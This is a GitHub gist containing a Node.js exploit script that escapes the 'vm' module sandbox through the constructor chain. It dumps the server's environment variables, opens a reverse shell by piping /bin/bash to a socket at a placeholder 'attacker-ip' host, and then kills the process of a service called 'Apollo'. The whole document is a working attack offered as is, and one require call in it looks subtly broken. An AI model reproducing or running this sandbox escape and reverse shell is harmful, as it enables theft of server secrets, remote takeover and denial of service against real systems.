Skip to content

Instantly share code, notes, and snippets.

@lazorfuzz
Created August 16, 2019 13:20
Show Gist options
  • Select an option

  • Save lazorfuzz/81fe13343b330f9e3135f39641636766 to your computer and use it in GitHub Desktop.

Select an option

Save lazorfuzz/81fe13343b330f9e3135f39641636766 to your computer and use it in GitHub Desktop.
const vm = require('vm');
const sandbox = {
document: {
createTextNode: "function createTextNode() { [native code] }",
getElementById: "function getElementById() { [native code] }",
write: "function write() { [native code] }",
documentElement: {
getAttribute(attribute) {
return null;
}
}
},
cc_cc_cc: null,
window: {
$: ''
},
sin: Math.sin,
navigator: {
userAgent: ''
}
};
// get server env variables
console.log(vm.runInNewContext('this.constructor.constructor("return process")().env', sandbox));
// create reverse shell
vm.runInNewContext(`
const require = this.constructor.constructor("return process")().mainModule.require();
const net = require("net"), sh = require("child_process").exec("/bin/bash");
const client = new net.Socket();
client.connect(9999, "attacker-ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
`, sandbox);
// shut off Apollo
vm.runInNewContext('this.constructor.constructor("return process")().exit()', sandbox);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment